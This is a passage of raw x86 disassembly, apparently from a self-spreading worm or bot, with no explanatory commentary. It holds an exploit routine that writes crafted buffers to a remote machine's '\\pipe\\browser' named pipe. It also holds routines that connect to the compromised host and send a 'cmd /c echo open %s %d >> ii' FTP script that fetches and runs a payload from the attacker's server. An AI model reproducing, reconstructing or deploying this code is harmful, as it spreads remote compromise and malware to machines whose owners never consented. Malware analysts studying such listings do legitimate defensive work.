esi, ecx call sub_40DE9A test al, al jz short loc_40DFD0 push [esp+4+arg_4] push [esp+8+arg_0] push dword ptr [esi+4] call sub_40DD52 add esp, 0Ch mov ecx, esi push [esp+4+arg_4] call sub_40DE6A loc_40DFD0: ; CODE XREF: sub_40DFA0+10j mov eax, esi pop esi retn 8 sub_40DFA0 endp ; =============== S U B R O U T I N E ======================================= sub_40DFD6 proc near ; CODE XREF: sub_40DD57+3Ep ; sub_40DD57+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40DFE9 call sub_43A760 loc_40DFE9: ; CODE XREF: sub_40DFD6+Cj mov ecx, edi call sub_40E130 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DFFF mov ebx, eax loc_40DFFF: ; CODE XREF: sub_40DFD6+25j test ebx, ebx jbe short loc_40E033 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40E03B mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40DE9A test al, al jz short loc_40E033 push esi mov ecx, edi call sub_40DE6A loc_40E033: ; CODE XREF: sub_40DFD6+2Bj ; sub_40DFD6+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40DFD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E03B proc near ; CODE XREF: sub_40DFD6+3Ap jmp sub_420840 sub_40E03B endp ; =============== S U B R O U T I N E ======================================= sub_40E040 proc near ; CODE XREF: sub_40DE9A+5p ; sub_40E056+1Ep call sub_40E16F cmp eax, 2 ja short loc_40E04E xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40E040+8j add eax, 0FFFFFFFEh retn sub_40E040 endp ; =============== S U B R O U T I N E ======================================= sub_40E052 proc near ; CODE XREF: sub_40DD57+A5p mov eax, [ecx+0Ch] retn sub_40E052 endp ; =============== S U B R O U T I N E ======================================= sub_40E056 proc near ; CODE XREF: sub_40DE9A+99p mov eax, offset loc_43B854 call sub_420820 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] mov esi, ecx mov [ebp-10h], esp mov [ebp-14h], esi or edi, 1Fh call sub_40E040 cmp eax, edi jnb short loc_40E080 mov edi, [ebp+8] loc_40E080: ; CODE XREF: sub_40E056+25j and dword ptr [ebp-4], 0 lea eax, [edi+2] push 0 push eax mov ecx, esi call sub_40E15F mov [ebp+8], eax jmp short loc_40E0B9 ; --------------------------------------------------------------------------- loc_40E096: ; DATA XREF: _1:0043E3ACo mov eax, [ebp+8] mov ecx, [ebp-14h] mov [ebp-18h], eax add eax, 2 push 0 push eax call sub_40E15F mov [ebp+8], eax mov eax, offset loc_40E0B3 retn ; --------------------------------------------------------------------------- loc_40E0B3: ; DATA XREF: sub_40E056+57o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40E0B9: ; CODE XREF: sub_40E056+3Ej mov eax, [esi+8] or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax jbe short loc_40E0DB cmp eax, edi jbe short loc_40E0CA mov eax, edi loc_40E0CA: ; CODE XREF: sub_40E056+70j push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40DD52 add esp, 0Ch loc_40E0DB: ; CODE XREF: sub_40E056+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40DF46 mov eax, [ebp+8] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40E11B and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40E102 mov edi, ebx loc_40E102: ; CODE XREF: sub_40E056+A8j push edi mov ecx, esi call sub_40DE6A mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40E056 endp ; =============== S U B R O U T I N E ======================================= sub_40E11B proc near ; CODE XREF: sub_40DD57+6Ap ; sub_40DD57+B2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40E11B endp ; =============== S U B R O U T I N E ======================================= sub_40E123 proc near ; CODE XREF: sub_40DF46+47p arg_0 = dword ptr 4 push [esp+arg_0] call sub_420B80 pop ecx retn 8 sub_40E123 endp ; =============== S U B R O U T I N E ======================================= sub_40E130 proc near ; CODE XREF: sub_40DFD6+15p push esi mov esi, ecx push edi mov edi, [esi+4] test edi, edi jz short loc_40E15C push edi call sub_40E11B mov al, [eax] test al, al jz short loc_40E15C cmp al, 0FFh jz short loc_40E15C push 1 mov ecx, esi call sub_40DF46 push edi mov ecx, esi call sub_40DE4D loc_40E15C: ; CODE XREF: sub_40E130+9j ; sub_40E130+15j ... pop edi pop esi retn sub_40E130 endp ; =============== S U B R O U T I N E ======================================= sub_40E15F proc near ; CODE XREF: sub_40E056+36p ; sub_40E056+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40E176 pop ecx pop ecx retn 8 sub_40E15F endp ; =============== S U B R O U T I N E ======================================= sub_40E16F proc near ; CODE XREF: sub_40E040p or eax, 0FFFFFFFFh retn sub_40E16F endp ; =============== S U B R O U T I N E ======================================= sub_40E173 proc near ; CODE XREF: sub_40DD57+78p mov al, 1 retn sub_40E173 endp ; =============== S U B R O U T I N E ======================================= sub_40E176 proc near ; CODE XREF: sub_40E15F+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40E180 xor eax, eax loc_40E180: ; CODE XREF: sub_40E176+6j push eax call sub_420C30 pop ecx retn sub_40E176 endp ; =============== S U B R O U T I N E ======================================= sub_40E188 proc near ; CODE XREF: _0:loc_40DBC6p ; sub_43A8A0+3p test ds:byte_4F369C, 1 jnz short locret_40E198 or ds:byte_4F369C, 1 locret_40E198: ; CODE XREF: sub_40E188+7j retn sub_40E188 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E19A proc near ; DATA XREF: _2:0043F00Co jmp $+5 sub_40E19A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E19F proc near mov eax, ds:dword_449074 add eax, 6 mov ds:dword_4E5CDC, eax retn sub_40E19F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E1AD proc near ; CODE XREF: sub_40E1AD+D0p ; sub_40E29B+465p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E1C1 or [ebp+arg_7], 1 jmp short loc_40E1C5 ; --------------------------------------------------------------------------- loc_40E1C1: ; CODE XREF: sub_40E1AD+Cj and [ebp+arg_7], 0FEh loc_40E1C5: ; CODE XREF: sub_40E1AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E1E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40E1FB ; --------------------------------------------------------------------------- loc_40E1E9: ; CODE XREF: sub_40E1AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40E1FB: ; CODE XREF: sub_40E1AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BE40 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40E294 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41FBF0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call ds:dword_4F53B4 ; WriteFile test eax, eax jz short loc_40E28B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40E28B push [ebp+arg_20] call sub_41C9D0 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40E287 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40E1AD add esp, 2Ch jmp short loc_40E296 ; --------------------------------------------------------------------------- loc_40E287: ; CODE XREF: sub_40E1AD+B3j mov al, 1 jmp short loc_40E296 ; --------------------------------------------------------------------------- loc_40E28B: ; CODE XREF: sub_40E1AD+9Cj ; sub_40E1AD+A4j push [ebp+arg_20] call sub_41C9D0 pop ecx loc_40E294: ; CODE XREF: sub_40E1AD+61j xor al, al loc_40E296: ; CODE XREF: sub_40E1AD+D8j ; sub_40E1AD+DCj pop edi pop esi pop ebx leave retn sub_40E1AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E29B proc near ; CODE XREF: _0:0040E88Dp var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh var_20DC = byte ptr -20DCh var_DC = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = qword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = qword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call sub_41EF80 push ebx push esi push edi push offset dword_449078 push [ebp+arg_0] call sub_420F10 pop ecx xor ebx, ebx test eax, eax pop ecx mov esi, 2000h jz short loc_40E30F push [ebp+arg_0] lea eax, [ebp+var_20DC] push offset dword_44907C push esi push eax call sub_41EC30 push 20h lea eax, [ebp+var_DC] push ebx push eax call sub_41E4B0 add esp, 1Ch lea eax, [ebp+var_20DC] mov [ebp+var_C8], eax lea eax, [ebp+var_DC] push ebx push offset byte_4E5CE0 push offset byte_4E5CE1 push eax call sub_43A936 loc_40E30F: ; CODE XREF: sub_40E29B+28j push [ebp+arg_0] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41EC30 add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call ds:off_4F53C0 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40E353 loc_40E34C: ; CODE XREF: sub_40E29B+25Fj ; sub_40E29B+361j ... xor al, al jmp loc_40E78F ; --------------------------------------------------------------------------- loc_40E353: ; CODE XREF: sub_40E29B+AFj push 48h lea eax, [ebp+var_B8] push ebx push eax call sub_41E4B0 push 10h xor edi, edi pop eax inc edi mov [ebp+var_B4], eax push eax lea eax, [ebp+var_98] push offset dword_44909C push eax mov [ebp+var_B8], 5 mov [ebp+var_B7], bl mov [ebp+var_B6], 0Bh mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call sub_41FBF0 push 10h lea eax, [ebp+var_84] push offset dword_4490B0 push eax mov [ebp+var_88], 3 call sub_41FBF0 add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call ds:dword_4F53B4 ; WriteFile test eax, eax jz loc_40E4F1 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call ds:off_4F53BC push ebx call sub_420D80 push eax call sub_41EB60 push 14h lea eax, [ebp+var_70] push 41h push eax call sub_41E4B0 push 1Ch lea eax, [ebp+var_30] push 41h push eax call sub_41E4B0 add esp, 20h call sub_41EB70 mov esi, [ebp+arg_4] mov [ebp+var_70], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx mov [ebp+var_28], ebx cmp ds:byte_44905C[esi], bl jz short loc_40E49D push 4 mov [ebp+var_24], edi mov [ebp+var_2C], edi push offset dword_4E5CE4 jmp short loc_40E4AD ; --------------------------------------------------------------------------- loc_40E49D: ; CODE XREF: sub_40E29B+1F1j push 2 pop eax push 4 mov [ebp+var_24], eax mov [ebp+var_2C], eax push offset loc_4490C4 loc_40E4AD: ; CODE XREF: sub_40E29B+200j lea eax, [ebp+var_20] push eax call sub_41FBF0 add esp, 0Ch call sub_41EB70 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call sub_41EB70 cdq idiv edi mov eax, ds:dword_449050[esi] mov [ebp+var_18], ebx push eax mov [ebp+arg_0], eax inc edx mov [ebp+var_1C], edx call sub_41BE40 mov edi, eax pop ecx cmp edi, ebx jnz short loc_40E4FF loc_40E4F1: ; CODE XREF: sub_40E29B+185j push [ebp+var_4] call ds:off_4F533C jmp loc_40E34C ; --------------------------------------------------------------------------- loc_40E4FF: ; CODE XREF: sub_40E29B+254j mov eax, [ebp+arg_0] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41E4B0 mov eax, [ebp+arg_0] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41E4B0 mov eax, ds:dword_449058[esi] push 7 add eax, edi push offset dword_449010 push eax mov [ebp+arg_4], eax call sub_41FBF0 mov eax, [ebp+arg_4] push 15Ch add eax, 7 push offset dword_448EB0 push eax call sub_41FBF0 mov eax, ds:dword_449054[esi] add esp, 30h mov [ebp+arg_4], eax add eax, edi cmp ds:byte_44905C[esi], bl jz short loc_40E5B0 push 4 push offset dword_4E5CDC push eax call sub_41FBF0 add [ebp+arg_4], 0Ch mov esi, offset dword_449074 mov eax, [ebp+arg_4] push 4 add eax, edi push esi push eax call sub_41FBF0 mov eax, [ebp+arg_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+arg_4], eax call sub_41FBF0 mov eax, [ebp+arg_4] push 4 add eax, 0Ch push esi push eax call sub_41FBF0 add esp, 30h jmp short loc_40E5D6 ; --------------------------------------------------------------------------- loc_40E5B0: ; CODE XREF: sub_40E29B+2C8j mov [ebp+arg_4], eax mov [ebp+var_8], 10h mov esi, offset dword_449074 loc_40E5BF: ; CODE XREF: sub_40E29B+339j push 4 push esi push [ebp+arg_4] call sub_41FBF0 add [ebp+arg_4], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_40E5BF loc_40E5D6: ; CODE XREF: sub_40E29B+313j mov eax, [ebp+arg_0] add eax, 42h push eax call sub_41BE40 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_40E601 push [ebp+var_4] call ds:off_4F533C push edi call sub_41C9D0 pop ecx jmp loc_40E34C ; --------------------------------------------------------------------------- loc_40E601: ; CODE XREF: sub_40E29B+34Fj mov eax, [ebp+arg_0] add eax, 42h push eax push ebx ; double push esi call sub_41E4B0 lea eax, [ebp+var_70] push 14h push eax push esi call sub_41FBF0 mov eax, [ebp+arg_0] mov [ebp-0Ch], ebx mov dword ptr [ebp+var_14+4], eax add esp, 10h fild [ebp+var_14+4] fmul ds:flt_43C48C fstp [esp+14h+var_14] call sub_420210 call sub_4201DC push [ebp+arg_0] mov [esi+1Ch], eax mov [esi+14h], eax lea eax, [esi+20h] push edi push eax mov [esi+18h], ebx call sub_41FBF0 mov eax, [ebp+arg_0] add esp, 14h add eax, 20h test al, 3 mov [ebp+arg_4], eax jz short loc_40E66B loc_40E663: ; CODE XREF: sub_40E29B+3CBj inc eax test al, 3 jnz short loc_40E663 mov [ebp+arg_4], eax loc_40E66B: ; CODE XREF: sub_40E29B+3C6j lea ecx, [ebp+var_30] push 1Ch add eax, esi push ecx push eax call sub_41FBF0 add [ebp+arg_4], 1Ch push edi call sub_41C9D0 push 18h lea eax, [ebp+var_48] push ebx push eax call sub_41E4B0 push 14h lea eax, [ebp+var_5C] push ebx push eax mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov word ptr [ebp+var_38+4], bx mov word ptr [ebp+var_38+6], 1Fh call sub_41E4B0 add esp, 28h push ebx push ebx push 1 push ebx call ds:dword_4F53B8 ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+arg_0+3], bl mov [ebp-0Ch], ebx loc_40E6D8: ; CODE XREF: sub_40E29B+4C7j cmp dword ptr [ebp-0Ch], 2 jge loc_40E76D push 1 push 10B8h push [ebp+arg_4] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] rep movsd call sub_40E1AD add esp, 2Ch test al, al jz short loc_40E76A cmp [ebp+var_4C], ebx jz short loc_40E75C lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call ds:off_4F53BC test eax, eax jnz short loc_40E743 call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40E34C loc_40E743: ; CODE XREF: sub_40E29B+495j push 3E8h push [ebp+var_4C] call ds:dword_4F5374 ; WaitForSingleObject cmp eax, 102h jnz short loc_40E75C mov byte ptr [ebp+arg_0+3], 1 loc_40E75C: ; CODE XREF: sub_40E29B+474j ; sub_40E29B+4BBj cmp byte ptr [ebp+arg_0+3], bl mov esi, [ebp+var_8] jz loc_40E6D8 jmp short loc_40E76D ; --------------------------------------------------------------------------- loc_40E76A: ; CODE XREF: sub_40E29B+46Fj mov esi, [ebp+var_8] loc_40E76D: ; CODE XREF: sub_40E29B+441j ; sub_40E29B+4CDj push [ebp+var_4] mov edi, ds:off_4F533C call edi ; sub_50B3D5 push esi call sub_41C9D0 cmp [ebp+var_4C], ebx pop ecx jz short loc_40E789 push [ebp+var_4C] call edi ; sub_50B3D5 loc_40E789: ; CODE XREF: sub_40E29B+4E7j cmp byte ptr [ebp+arg_0+3], bl setnz al loc_40E78F: ; CODE XREF: sub_40E29B+B3j pop edi pop esi pop ebx leave retn sub_40E29B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E794 proc near ; CODE XREF: _0:0040E8ABp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_4F5528 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4F552C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F553C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E862 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E862 mov edi, 400h push esi mov esi, ds:dword_4F5534 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_43F0FC push eax push eax push ds:dword_4E2D00 push [ebp+arg_0] call sub_40AEAD pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_4F5540 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E866 loc_40E862: ; CODE XREF: sub_40E794+50j ; sub_40E794+62j xor eax, eax jmp short loc_40E87D ; --------------------------------------------------------------------------- loc_40E866: ; CODE XREF: sub_40E794+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_4F5538 ; closesocket xor eax, eax inc eax loc_40E87D: ; CODE XREF: sub_40E794+D0j pop edi pop esi pop ebx leave retn sub_40E794 endp ; --------------------------------------------------------------------------- push ebx push esi push edi xor ebx, ebx loc_40E887: ; CODE XREF: _0:0040E8CDj lea eax, [esp+14h] push ebx push eax call sub_40E29B pop ecx test al, al pop ecx jz short loc_40E8BA push 65h lea esi, [esp+14h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E794 add esp, 0C0h test eax, eax jnz short loc_40E8CF loc_40E8BA: ; CODE XREF: _0:0040E896j test ebx, ebx jnz short loc_40E8C9 push 7D0h call ds:dword_4F534C ; Sleep loc_40E8C9: ; CODE XREF: _0:0040E8BCj inc ebx cmp ebx, 2 jb short loc_40E887 loc_40E8CF: ; CODE XREF: _0:0040E8B8j xor eax, eax pop edi pop esi inc eax pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8D6 proc near ; CODE XREF: sub_40E9ED+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call ds:dword_4F5528 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call ds:dword_4F552C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F553C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E9A4 lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E9A4 mov edi, 400h push esi mov esi, ds:dword_4F5534 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_43F0FC push eax push eax push ds:dword_4E2D00 push [ebp+arg_0] call sub_40AEAD pop ecx push eax push offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call ds:dword_4F5540 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E9A8 loc_40E9A4: ; CODE XREF: sub_40E8D6+50j ; sub_40E8D6+62j xor eax, eax jmp short loc_40E9BF ; --------------------------------------------------------------------------- loc_40E9A8: ; CODE XREF: sub_40E8D6+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call ds:dword_4F5538 ; closesocket xor eax, eax inc eax loc_40E9BF: ; CODE XREF: sub_40E8D6+D0j pop edi pop esi pop ebx leave retn sub_40E8D6 endp ; --------------------------------------------------------------------------- push dword ptr [esp+4] call ds:dword_4F5528 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40E9EC push dword ptr [esp+4] call ds:dword_4F5550 ; gethostbyname test eax, eax jnz short loc_40E9E5 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40E9E5: ; CODE XREF: _0:0040E9DFj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40E9EC: ; CODE XREF: _0:0040E9D1j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9ED proc near ; CODE XREF: sub_40C87D+1D7p ; DATA XREF: _2:off_4481F4o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call ds:dword_4E3008 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call ds:dword_4E2FC8 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call ds:dword_4F553C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EA5F lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_4F5530 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EA40 push esi jmp short loc_40EA59 ; --------------------------------------------------------------------------- loc_40EA40: ; CODE XREF: sub_40E9ED+4Ej push 0 push 1213h push offset dword_449148 push esi call ds:dword_4F5540 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40EA63 loc_40EA59: ; CODE XREF: sub_40E9ED+51j call ds:dword_4F5538 ; closesocket loc_40EA5F: ; CODE XREF: sub_40E9ED+3Cj xor eax, eax jmp short loc_40EAA1 ; --------------------------------------------------------------------------- loc_40EA63: ; CODE XREF: sub_40E9ED+6Aj call ds:dword_4F5538 ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E8D6 add esp, 0C0h test eax, eax jz short loc_40EA9E mov eax, [ebp+arg_A8] shl eax, 6 lea eax, dword_4481F8[eax] inc dword ptr [eax] loc_40EA9E: ; CODE XREF: sub_40E9ED+9Ej xor eax, eax inc eax loc_40EAA1: ; CODE XREF: sub_40E9ED+74j pop edi pop esi leave retn sub_40E9ED endp ; =============== S U B R O U T I N E ======================================= sub_40EAA5 proc near ; CODE XREF: _0:0040EB95p _0:0040EBF7p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi jmp short loc_40EAD0 ; --------------------------------------------------------------------------- loc_40EAAF: ; CODE XREF: sub_40EAA5+2Dj mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call ds:dword_4E2FE0 ; recv test eax, eax jz short loc_40EADA cmp eax, 0FFFFFFFFh jz short loc_40EADA sub edi, eax add esi, eax loc_40EAD0: ; CODE XREF: sub_40EAA5+8j test edi, edi jg short loc_40EAAF xor eax, eax inc eax loc_40EAD7: ; CODE XREF: sub_40EAA5+37j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EADA: ; CODE XREF: sub_40EAA5+20j ; sub_40EAA5+25j xor eax, eax jmp short loc_40EAD7 sub_40EAA5 endp ; =============== S U B R O U T I N E ======================================= sub_40EADE proc near ; CODE XREF: _0:0040EBE1p _0:0040EC0Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EB1B xor esi, esi test edi, edi jle short loc_40EB15 loc_40EAEE: ; CODE XREF: sub_40EADE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jz short loc_40EB1B test eax, eax jz short loc_40EB1B add esi, eax cmp esi, edi jl short loc_40EAEE loc_40EB15: ; CODE XREF: sub_40EADE+Ej xor eax, eax inc eax loc_40EB18: ; CODE XREF: sub_40EADE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EB1B: ; CODE XREF: sub_40EADE+8j ; sub_40EADE+2Bj ... xor eax, eax jmp short loc_40EB18 sub_40EADE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch mov ax, ds:word_44A3D4 push ebx push esi push 0 push 1 push 2 pop esi mov [ebp-2], ax push esi call ds:dword_4E3048 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EB4C push eax jmp short loc_40EB80 ; --------------------------------------------------------------------------- loc_40EB4C: ; CODE XREF: _0:0040EB47j lea eax, [ebp+0Ch] push eax call ds:dword_4E3008 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call ds:dword_4E2FC8 ; htons mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40EB8D push ebx loc_40EB80: 